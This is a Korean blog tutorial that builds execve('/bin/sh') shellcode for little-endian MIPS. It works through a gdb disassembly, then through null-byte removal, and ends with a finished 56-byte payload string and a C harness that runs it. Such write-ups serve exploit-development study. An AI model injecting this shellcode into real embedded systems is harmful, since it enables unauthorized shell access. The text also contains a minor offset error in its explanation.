#include <stdio.h>
int main ()
{
char *name[2];
name[0]="/bin/sh";
name[1]=0;
execve(name[0], name, NULL);
}
먼저, 위와 같이 소스를 짜서 내부적으로 어떻게 돌아가는지 확인한다.
gdb로 main 함수를 디스어셈블 해서 쉘코드 제작에 필요한 부분은 진한 굵기로 된 부분이다.
(gdb) disas main
Dump of assembler code for function main:
0x00400640 <+0>: addiu sp,sp,-40
0x00400644 <+4>: sw ra,36(sp)
0x00400648 <+8>: sw s8,32(sp)
0x0040064c <+12>: move s8,sp
0x00400650 <+16>: lui v0,0x40
0x00400654 <+20>: addiu v0,v0,2096
0x00400658 <+24>: sw v0,24(s8)
0x0040065c <+28>: sw zero,28(s8)
0x00400660 <+32>: lw v0,24(s8)
0x00400664 <+36>: move a0,v0
0x00400668 <+40>: addiu v0,s8,24
0x0040066c <+44>: move a1,v0
0x00400670 <+48>: move a2,zero
0x00400674 <+52>: jal 0x400500 <execve@plt>
0x00400678 <+56>: move at,at
0x0040067c <+60>: move sp,s8
0x00400680 <+64>: lw ra,36(sp)
0x00400684 <+68>: lw s8,32(sp)
0x00400688 <+72>: addiu sp,sp,40
0x0040068c <+76>: jr ra
0x00400690 <+80>: move at,at
End of assembler dump.
(gdb)
0x00400650 <+16>: lui v0,0x40
0x00400654 <+20>: addiu v0,v0,2096
lui v0, 0x40은 v0 = 0x40 <<16 으로 해석되고, addiu v0,v0,2096(10진수)은 v0 = v0+0x830(16진수로변경) 으로 해석된다.
두 명령을 합쳐보면 v0레지스터에는 0x00400830이 들어간다.
해당 주소의 내용을 확인해보면
(gdb) x/s 0x00400830
0x400830: "/bin/sh"
"/bin/sh"가 들어있다.
0x00400658 <+24>: sw v0,24(s8)
0x0040065c <+28>: sw zero,28(s8)
sw v0,24(s8) 은 x86명령어의 push와 비슷한 명령으로 레지스터 v0의 내용을 s8(frame pointer)+28의 주소에 저장한다.
마찬가지로 sw zero, 28(s8)은 s8+28의 주소에 0을 넣는다.
0x00400660 <+32>: lw v0,24(s8)
0x00400664 <+36>: move a0,v0
lw v0, 24(s8) 명령은 x86명령어의 pop과 비슷한 명령으로 스택 s8+24주소에 있는 값을 v0레지스터에 가져온다.
move a0,v0 명령은 a0=v0 으로 해석되어 a0레지스터에 v0레지스터의 값을 옮긴다.
0x00400668 <+40>: addiu v0,s8,24
0x0040066c <+44>: move a1,v0
0x00400670 <+48>: move a2,zero
addiu v0,s8,24 명령은 v0 = s8+24 으로 s8의 주소에 +24한 값을 v0 레지스터에 넣는다.
move a1, v0
move a2, zero 이 두 명령은 해당 값들을 각각 a1, a2 레지스터에 넣는다.
0x00400674 <+52>: jal 0x400500 <execve@plt>
마지막으로 execve@plt를 호출한다.
위 내용으로 알수있는 것은 execve(name[0], name, NULL); 를 실행하기 위해 a0에 첫번째 인자, a1에 두번째 인자, a2에 세번째 인자를 넣고 마지막에 함수를 호출한다는 걸 알 수 있다.
그렇다면, x86에서의 쉘코드 만들기와 비슷하게 각 레지스터에 적절한 매개변수를 넣어주고 execve 시스템콜을 하면 될 것 같다.
addiu sp,sp,-32
lui v0, 28265
addiu v0, $2, 25135
sw v0,16(s8) # "/bin" 을 push
lui v1, 104
addiu v1, v1, 29487
sw v1,20(s8) # "/sh\0"을 push
addiu v0,s8,16
sw v0,24(s8) # &/bin/sh 를 push
move a0, v0 # a0레지스터에 "/bin/sh"를 넣음
sw zero,28(s8) # 0 을 push
# 여기까지 스택 상태는 오른쪽 모양이다. ==> low...| /bin | /sh\0 | &/bin/sh | zero | FP | RET | ... high
addiu v0,s8,24 # v0레지스터에 [/bin/sh, 0] 을 넣음
move a1, v0 # a1레지스터에 [/bin/sh, 0] 을 넣음
move a2, zero # a2 레지스터에 0을 넣음
li v0,4011 # v0레지스터에 execve 시스템콜번호 4011을 넣음
syscall
이렇게 구성을 하고 바로 하면 될 줄 알았는데, mips는 레지스터마다 번호가 있어서 레지스터와 zero 값을 변수 번호로 변경해줘야 한다고 한다.
(참고: http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm#RegisterDescription )
위 url 을 참고하여 레지스터를 그에 맞는 번호로 변경하면 다음과 같다.
.globl main
main:
addiu $29,$29,-32
lui $2, 28265
addiu $2, $2, 25135
lui $3, 104
addiu $3, $3, 29487
sw $2,16($29)
sw $3,20($29)
addiu $2,$29,16
sw $2,24($29)
move $4,$2
sw $0,28($29)
addiu $2,$29,24
move $5,$2
move $6,$0
li $2,4011
syscall
위 .asm 파일을 컴파일하고 실행하면 다행히도..... 쉘이 떨어진다.
gdb로 64바이트의 기계어를 얻을 수 있다.
#include <stdio.h>
char shellcode[] ="\x20\xff\xbd\x27\x69\x6e\x02\x3c\x2f\x62\x42\x24\x68\x00\x03\x3c\x2f\x73\x63\x24\x10\x00\xa2\xaf\x14\x00\xa3\xaf\x10\x00\xa2\x27\x18\x00\xa2\xaf\x21\x20\x40\x00\x1c\x00\xa0\xaf\x18\x00\xa2\x27\x21\x28\x40\x00\x21\x30\x00\x00\xab\x0f\x02\x24\x0c\x00\x00\x00";
int main(int argc, char *argv[])
{
void (*p)(void);
p = shellcode;
printf("shellcode size %d\n", sizeof(shellcode));
p();
return 0;
}
그런데 아직은 쉘코드의 길이도 길고 \x00바이트가 많이 포함되어 있어서 개선할 점이 아주아주 많이 보인다 ㅠㅠ
위 쉘코드는 펄스크립트로 \x00이 들어가지 않기 때문에 실용 가능성은 제로이다.
따라서 \x00을 없애기 위해 다음과 같이 쉘코드를 변경하여 64byte의 쉘코드를 얻었다.
mipsel 쉘코드에서 \x00 제거하기
1. -24(s8) 식으로 음수로 변수에 접근할 것이므로 스택 공간할당을 뺀다.
2. /sh\0부분은 비트연산을 해야될듯...
3. sw는 모두 음수연산으로~~
4. move는 li를 써야될듯...
변경 전
\x20\xff\xbd\x27 addiu $29,$29,-32
\x69\x6e\x02\x3c lui $2, 28265
\x2f\x62\x42\x24 addiu $2, $2, 25135
\x68\x00\x03\x3c <= lui $3, 104 -> 비트연산을 해야될듯?
\x2f\x73\x63\x24 addiu $3, $3, 29487
\x10\x00\xa2\xaf <= sw $2,16($29) -> -값넣으면 해결됨
\x14\x00\xa3\xaf <= sw $3,20($29) -> -값넣으면 해결됨
\x10\x00\xa2\x27 <= addiu $2,$29,16 -> -값넣으면 해결됨
\x18\x00\xa2\xaf <= sw $2,24($29) -> -값넣으면 해결됨
\x21\x20\x40\x00 <= move $4,$2 -> li를 써야될듯?
\x1c\x00\xa0\xaf <= sw 0,28($29) -> -값넣으면 해결됨
\x18\x00\xa2\x27 <= addiu $2,$29,24 -> -값넣으면 해결됨
\x21\x28\x40\x00 <= move $5,$2 -> li를 써야될듯?
\x21\x30\x00\x00 <= move $6,zero -> sp - xx의 값(0)을 $6에 넣도록 변경
\xab\x0f\x02\x24 li $2,4011
\x0c\x00\x00\x00 syscall
변경 후
| /bin | //sh | 0 | &/bin/sh | 0 | fp |
20 16 12 8 4 0
.globl main
main:
lui $2, 28265
addiu $2, $2, 25135
sw $2,-20($29)
lui $3, 26739
addiu $3, $3, 12079
sw $3,-16($29)
li $16, 26739
li $24, 26739
sub $6,$16,$24
sw $6,-12($29)
sw $6,-4($29)
addiu $4,$29,-20
sw $4,-8($29)
addiu $5,$29,-8
li $2,4011
syscall
변경 전의 어셈 코딩에서 addiu $29,$29,-32 부분은 뺄셈으로 \x00대신 \xff가 들어가는것을 보고 스택에 접근할 때를 모두 음수 계산으로 변경했고, zero를 만들기 위해 sub를 사용했다.
그래서 다음의 쉘코드를 얻었다. (64바이트)
0x4005c0 <main>: 0x69 0x6e 0x02 0x3c
(gdb)
0x4005c4 <main+4>: 0x2f 0x62 0x42 0x24
(gdb)
0x4005c8 <main+8>: 0xec 0xff 0xa2 0xaf
(gdb)
0x4005cc <main+12>: 0x73 0x68 0x03 0x3c
(gdb)
0x4005d0 <main+16>: 0x2f 0x2f 0x63 0x24
(gdb)
0x4005d4 <main+20>: 0xf0 0xff 0xa3 0xaf
(gdb)
0x4005d8 <main+24>: 0x73 0x68 0x10 0x24
(gdb)
0x4005dc <main+28>: 0x73 0x68 0x18 0x24
(gdb)
0x4005e0 <main+32>: 0x22 0x30 0x18 0x02
(gdb)
0x4005e4 <main+36>: 0xf4 0xff 0xa6 0xaf
(gdb)
0x4005e8 <main+40>: 0xfc 0xff 0xa6 0xaf
(gdb)
0x4005ec <main+44>: 0xec 0xff 0xa4 0x27
(gdb)
0x4005f0 <main+48>: 0xf8 0xff 0xa4 0xaf
(gdb)
0x4005f4 <main+52>: 0xf8 0xff 0xa5 0x27
(gdb)
0x4005f8 <main+56>: 0xab 0x0f 0x02 0x24
(gdb)
0x4005fc <main+60>: 0x0c 0x00 0x00 0x00
위 쉘 코드는 64바이트인데 어셈코딩 중간에 zero를 만들기 위해 뺄셈하는 부분을 좀 더 간단하게 하는 방법이 생각나서 56 바이트로 줄였다.
.globl main
main:
lui $2, 28265
addiu $2, $2, 25135
sw $2,-20($29)
lui $3, 26739
addiu $3, $3, 12079
sw $3,-16($29)
sw $0,-12($29)
sw $0,-4($29)
addiu $6,$29,-4
addiu $4,$29,-20
sw $4,-8($29)
addiu $5,$29,-8
li $2,4011
syscall
다음은 쉘코드이다.
0x4005c0 <main>: 0x69 0x6e 0x02 0x3c
(gdb)
0x4005c4 <main+4>: 0x2f 0x62 0x42 0x24
(gdb)
0x4005c8 <main+8>: 0xec 0xff 0xa2 0xaf
(gdb)
0x4005cc <main+12>: 0x73 0x68 0x03 0x3c
(gdb)
0x4005d0 <main+16>: 0x2f 0x2f 0x63 0x24
(gdb)
0x4005d4 <main+20>: 0xf0 0xff 0xa3 0xaf
(gdb)
0x4005d8 <main+24>: 0xf4 0xff 0xa0 0xaf
(gdb)
0x4005dc <main+28>: 0xfc 0xff 0xa0 0xaf
(gdb)
0x4005e0 <main+32>: 0xfc 0xff 0xa6 0x27
(gdb)
0x4005e4 <main+36>: 0xec 0xff 0xa4 0x27
(gdb)
0x4005e8 <main+40>: 0xf8 0xff 0xa4 0xaf
(gdb)
0x4005ec <main+44>: 0xf8 0xff 0xa5 0x27
(gdb)
0x4005f0 <main+48>: 0xab 0x0f 0x02 0x24
(gdb)
0x4005f4 <main+52>: 0x0c 0x00 0x00 0x00
shellcode = ("\x69\x6e\x02\x3c"
"\x2f\x62\x42\x24"
"\xec\xff\xa2\xaf"
"\x73\x68\x03\x3c"
"\x2f\x2f\x63\x24"
"\xf0\xff\xa3\xaf"
"\xf4\xff\xa0\xaf"
"\xfc\xff\xa0\xaf"
"\xfc\xff\xa6\x27"
"\xec\xff\xa4\x27"
"\xf8\xff\xa4\xaf"
"\xf8\xff\xa5\x27"
"\xab\x0f\x02\x24"
"\x0c\x01\x01\x01")
\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01
참고
http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm#RegisterDescription
https://wiki.kldp.org/KoreanDoc/html/Alpha_assembly-KLDP/node7.html
http://shell-storm.org/shellcode/
http://orang.tistory.com/entry/%EC%9E%84%EB%B2%A0%EB%94%94%EB%93%9C-MIPS-Shellcode-%EC%9E%91%EC%84%B1
'List > Embedded' 카테고리의 다른 글
firmware-mod-kit(fmk) 설치 (2) | 2015.01.23 |
---|---|
[mipsel] 기본 bof 취약점 공격 (0) | 2015.01.11 |
[mipsel] add(a, b) 분석 (0) | 2014.12.26 |
[mipsel] execve 분석 (0) | 2014.12.26 |
[mipsel] printf("Helloworld") 분석 (0) | 2014.12.26 |